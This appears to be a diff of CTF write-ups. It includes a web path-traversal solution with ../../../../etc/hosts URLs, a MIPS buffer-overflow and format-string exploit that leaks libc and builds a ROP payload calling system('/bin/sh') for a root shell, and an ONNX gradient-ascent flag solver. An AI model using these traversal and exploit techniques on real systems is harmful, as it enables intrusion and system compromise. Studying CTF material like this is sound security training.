- `user_dir = os.path.join(app.config["UPLOAD_FOLDER"], user_id)`
- might be traversable, but folder has to exist
- `filepath = os.path.join(user_dir, filename)`
- might overwrite files, when dir exists??
- `safe_name = os.path.splitext(os.path.basename(filename))[0]`
- no traversal here
- `output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)`
- might be traversable
- Server error on existance: https://bad-apple.tamuctf.com/get_frames?user_id=..&gif_name=../../../../etc/hosts
- https://bad-apple.tamuctfyp.com/get_frames?user_id=..&gif_name=../../../../etc/asdf
## Solution
Over /browse you can see the flag filename. With this, you can call convert.
```
GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1
Host: bad-apple.tamuctf.com
Cookie: user_id=24720472
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: keep-alive
```
After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag.
This was only possible because, the httpd config enabled directory listing.
```
<VirtualHost *:80>
WSGIScriptAlias / /srv/app/wsgi_app.py
<Directory /srv/app>
Require all granted
</Directory>
Alias /browse /srv/http/uploads
<Directory /srv/http/uploads>
Options +Indexes
DirectoryIndex disabled
IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
AllowOverride None
Require all granted
<FilesMatch "\.gif$">
AuthType Basic
AuthName "Admin Area"
AuthUserFile /srv/http/.htpasswd
Require valid-user
</FilesMatch>
</Directory>
</VirtualHost>
```
Important is the Options +Indexes. This enables the index

2
challenge7-rev.md Normal file
View file

@ -0,0 +1,2 @@
# challenge7 - rev

2
decreasing-misc.md Normal file
View file

@ -0,0 +1,2 @@
# decreasing - misc

2
hyper-neighbor-rev.md Normal file
View file

@ -0,0 +1,2 @@
# hyper-neighbor - rev

139
meep-pwn.md Normal file
View file

@ -0,0 +1,139 @@
# meep - pwn
fridgebuyer
/meep file meep
```
meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped
```
/meep r2 -q -c 'aaa; afl' meep
```
0x004008a8 5 336 dbg.diagnostics
0x004009f8 1 208 dbg.greet
0x00400ac8 10 692 dbg.main
```
/meep r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.**greet**" meep
```
│ 0x00400a4c 27c2001c addiu v0, fp, 0x1c ; meep.c:43:5
│ 0x00400a50 00003825 move a3, zero
│ 0x00400a54 24060100 addiu a2, zero, 0x100 ; arg3
│ 0x00400a58 00402825 move a1, v0
│ 0x00400a5c 00002025 move a0, zero
│ 0x00400a60 8f828034 lw v0, -sym.imp.recv(gp)
│ 0x00400a64 0040c825 move t9, v0
│ 0x00400a68 0320f809 jalr t9
│ ...
│ 0x00400a90 27c2001c addiu v0, fp, 0x1c ; meep.c:46:5
│ 0x00400a94 00402025 move a0, v0
│ 0x00400a98 8f828068 lw v0, -sym.imp.printf(gp)
│ 0x00400a9c 0040c825 move t9, v0
│ 0x00400aa0 0320f809 jalr t9
```
0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c
sym.imp.printf(gp) -- format string
/meep r2 -q -c 'pdf @dbg.**diagnostics**' meep
```
│ 0x004008d0 27c20018 addiu v0, fp, 0x18 ; meep.c:19:20
│ ...
│ 0x0040090c 24060100 addiu a2, zero, 0x100 ; arg3
│ 0x00400910 27c20018 addiu v0, fp, 0x18
│ 0x00400914 00402825 move a1, v0
│ 0x00400918 00002025 move a0, zero
│ 0x0040091c 8f828034 lw v0, -sym.imp.recv(gp)
│ 0x00400920 0040c825 move t9, v0
│ 0x00400924 0320f809 jalr t9
│ ...
│ 0x004009dc 8fbf00a4 lw ra, (var_a4h)
│ 0x004009e0 8fbe00a0 lw fp, (var_a0h)
│ 0x004009e4 8fb1009c lw s1, (var_9ch)
│ 0x004009e8 8fb00098 lw s0, (var_98h)
│ 0x004009ec 27bd00a8 addiu sp, sp, 0xa8
│ 0x004009f0 03e00008 jr ra
```
0x100 — reads 256 bytes into fp+0x18
ra loaded from fp+0xa4, then jr ra
buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow
s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable
/meep readelf --dyn-syms meep | grep puts
```
18: 00000000 FUNC UND puts@GLIBC_2.0
```
- GOT entry at 0x411078
- this is passed to greet func as "logger"
- greet func stores it on the stack at fp+0x18
- printf's 6th arg
so we can leak puts via %6$p
meep nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1
...
meep echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001
```Enter admin name:
Hello:
(nil).0x1.(nil).0x419020.0x7.0x2b37d3b0
+*Enter diagnostic command:
```
/meep readelf -s lib-mips/libc.so.6 | grep -E ' puts| system'
```
puts: 0x0007d3b0
system: 0x000536e8
```
so offsets:
- libc_base = leaked_puts - 0x7d3b0
- system = libc_base + 0x536e8
/meep strings -t x lib-mips/libc.so.6 | grep /bin/sh
```
1ba178 /bin/sh
```
- string "/bin/sh" is at 0x1ba178 in libc
- we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument
/meep ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move \$t9, \$s1 ; jalr \$t9 ; move \$a0, \$s0$'
```
0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0
```
- https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495
- https://www.pagetable.com/?p=313
- copy s1 into t9, we control s1 via overflow
- jump to t9 (system func)
- delay slot: copy s0 into a0 ("/bin/sh" string addr)
### sol
- Send `%6$p\n`
- leak puts addr: `libc_base = puts - 0x7d3b0`
```python
payload = b'A'*0x80 # pad to s0
payload += p32(libc_base + 0x1ba178) # s0 → "/bin/sh"
payload += p32(libc_base + 0x536e8) # s1 → system()
payload += p32(0x41414141) # fp
payload += p32(libc_base + 0x27488) # ra → gadget
```
- Gadget: `a0="/bin/sh"`, `jalr system()` gives shell
/meep python3 sol.py remote
```
...
[+] Leaked puts: 0x2b7bd3b0
[+] libc base: 0x2b740000
[+] Shell response: uid=1000 ...
...
```
$ .
```uid=0(root) gid=0(root) groups=0(root)```
$ cat /home/flag.txt
**gigem{m33p_m1p_1_n33d_4_m4p}**

2
military-system-pwn.md Normal file
View file

@ -0,0 +1,2 @@
# military-system - pwn

203
pittrap-misc.md Normal file
View file

@ -0,0 +1,203 @@
# pittrap - misc
The challenge contains a onnx file for a neural network.
The input layer accepts a vector of length 48, with vocab_size 256. This indicates the input is a 48-character string, which is tokenized by `[ord(i) for i in inp]`. The output is a single score.
![](https://notes.c3h2.de/pad/uploads/776d4ba3-3089-4131-802b-e7648ae1e3da.svg)
## Code to apply the network to an input
```python=
import onnx
onnx_model = onnx.load(ONNX_FILE_PATH)
onnx.checker.check_model(onnx_model)
print(onnx_model)
inp = None
# Write code here to apply the model on the input
# out = ???
import numpy as np
from onnx.reference import ReferenceEvaluator
# int64 token ids, shape (batch_size, 48); input name must be "input_ids"
inp = np.zeros((1, 48), dtype=np.int64)
sess = ReferenceEvaluator(onnx_model)
out = sess.run(None, {"input_ids": inp})
score = out[0]
print(score)
```
Then I tried a gradient ascent approach to find the input the leads to the maximum score. The input was the flag.
```python=
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
from onnx import numpy_helper
from onnx.reference import ReferenceEvaluator
# Target format: gigem{just_<middle>_max_and_u'll_be_fine}
PREFIX = "gigem{"
SUFFIX = "}"
ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_"
# Only the middle is unknown. Restricting it to a plausible alphabet avoids
# the optimizer getting stuck in high-scoring non-ASCII byte values.
n_inner = 48 - len(PREFIX) - len(SUFFIX)
n_pad = 48 - (len(PREFIX) + n_inner + len(SUFFIX))
assert n_pad >= 0 and n_inner > 0
weights = {init.name: numpy_helper.to_array(init).copy() for init in onnx_model.graph.initializer}
class GigemTorch(nn.Module):
def __init__(self):
super().__init__()
self.register_buffer("embed_mat", torch.from_numpy(weights["embed.weight"]))
self.conv = nn.Conv1d(64, 128, kernel_size=3, padding=2, dilation=2)
self.fc1 = nn.Linear(6144, 64)
self.fc2 = nn.Linear(64, 1)
self.conv.weight.data.copy_(torch.from_numpy(weights["conv.weight"]))
self.conv.bias.data.copy_(torch.from_numpy(weights["conv.bias"]))
self.fc1.weight.data.copy_(torch.from_numpy(weights["fc1.weight"]))
self.fc1.bias.data.copy_(torch.from_numpy(weights["fc1.bias"]))
self.fc2.weight.data.copy_(torch.from_numpy(weights["fc2.weight"]))
self.fc2.bias.data.copy_(torch.from_numpy(weights["fc2.bias"]))
def forward_soft(self, probs):
x = torch.einsum("blv,vh->blh", probs, self.embed_mat)
x = x.permute(0, 2, 1)
x = self.conv(x)
x = F.gelu(x)
x = x.flatten(1)
x = self.fc1(x)
x = F.gelu(x)
x = self.fc2(x)
return x.squeeze(-1)
def chars_to_onehot_row(device, c):
v = ord(c) & 0xFF
return F.one_hot(torch.tensor([v], device=device, dtype=torch.long), 256).float()
def build_probs_from_middle_allowed(middle_allowed_probs, allowed_ids, device):
batch_size = middle_allowed_probs.shape[0]
middle = torch.zeros(batch_size, n_inner, 256, device=device)
middle.scatter_(2, allowed_ids.view(1, 1, -1).expand(batch_size, n_inner, -1), middle_allowed_probs)
blocks = []
if n_pad > 0:
pad = torch.zeros(batch_size, n_pad, 256, device=device)
pad[:, :, 0] = 1.0
blocks.append(pad)
for c in PREFIX:
blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
blocks.append(middle)
for c in SUFFIX:
blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
return torch.cat(blocks, dim=1)
def ids_from_middle_indices(middle_indices, allowed_ids):
middle_ids = allowed_ids[middle_indices].detach().cpu().numpy()[0]
token_ids = [0] * n_pad
token_ids.extend(ord(c) & 0xFF for c in PREFIX)
token_ids.extend(int(x) for x in middle_ids)
token_ids.extend(ord(c) & 0xFF for c in SUFFIX)
return np.array(token_ids, dtype=np.int64)
def score_ids(model, token_ids, device):
token_tensor = torch.tensor(token_ids, dtype=torch.long, device=device).unsqueeze(0)
one_hot = F.one_hot(token_tensor, 256).float()
return float(model.forward_soft(one_hot).item())
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
model = GigemTorch().to(device)
allowed_ids = torch.tensor([ord(c) for c in ALPHABET], dtype=torch.long, device=device)
restarts = 6
steps = 1000
best_score = float("-inf")
best_ids = None
for restart in range(restarts):
logits_inner = torch.randn(1, n_inner, len(ALPHABET), device=device) * 0.01
logits_inner.requires_grad_(True)
opt = torch.optim.Adam([logits_inner], lr=0.2)
for step in range(steps):
tau = max(0.25, 2.5 * (0.992 ** step))
probs_inner = F.softmax(logits_inner / tau, dim=-1)
probs = build_probs_from_middle_allowed(probs_inner, allowed_ids, device)
soft_score = model.forward_soft(probs)
entropy = -(probs_inner * probs_inner.clamp_min(1e-9).log()).sum(dim=-1).mean()
loss = -soft_score + 0.02 * tau * entropy
opt.zero_grad()
loss.backward()
torch.nn.utils.clip_grad_norm_([logits_inner], max_norm=5.0)
opt.step()
if step % 100 == 0 or step == steps - 1:
with torch.no_grad():
hard_idx = logits_inner.argmax(dim=-1)
token_ids = ids_from_middle_indices(hard_idx, allowed_ids)
hard_score = score_ids(model, token_ids, device)
guess_str = "".join(chr(int(t)) for t in token_ids)
if hard_score > best_score:
best_score = hard_score
best_ids = token_ids.copy()
print(
f"restart {restart} step {step:4d} tau={tau:.3f} soft={soft_score.item():.4f} discrete={hard_score:.4f} guess={guess_str!r}"
)
# Greedy coordinate refinement over the discrete candidate.
# This fixes the usual softmax-relaxation issue where argmax is close but not exact.
charset_ids = [ord(c) for c in ALPHABET]
for refine_round in range(10):
improved = False
for pos in range(n_pad + len(PREFIX), n_pad + len(PREFIX) + n_inner):
current = best_ids[pos]
local_best = best_score
local_char = current
for cand in charset_ids:
if cand == current:
continue
trial = best_ids.copy()
trial[pos] = cand
trial_score = score_ids(model, trial, device)
if trial_score > local_best:
local_best = trial_score
local_char = cand
if local_char != current:
best_ids[pos] = local_char
best_score = local_best
improved = True
print(f"refine round {refine_round}: score={best_score:.4f} guess={''.join(chr(int(t)) for t in best_ids)!r}")
if not improved:
break
middle = "".join(
chr(int(i))
for i in best_ids[n_pad + len(PREFIX) : n_pad + len(PREFIX) + n_inner]
)
flag_only = PREFIX + middle + SUFFIX
padded_visual = "".join(chr(int(i)) for i in best_ids)
print("n_pad, n_inner:", n_pad, n_inner)
print("middle:", repr(middle))
print("flag:", repr(flag_only))
print("full 48 (repr):", repr(padded_visual))
sess = ReferenceEvaluator(onnx_model)
onnx_score = sess.run(None, {"input_ids": best_ids.reshape(1, -1).astype(np.int64)})[0]
print("ONNX score (discrete):", onnx_score)
```

2
skretch-rev.md Normal file
View file

@ -0,0 +1,2 @@
# skretch - rev

2
zagjail-pwn.md Normal file
View file

@ -0,0 +1,2 @@
# zagjail - pwn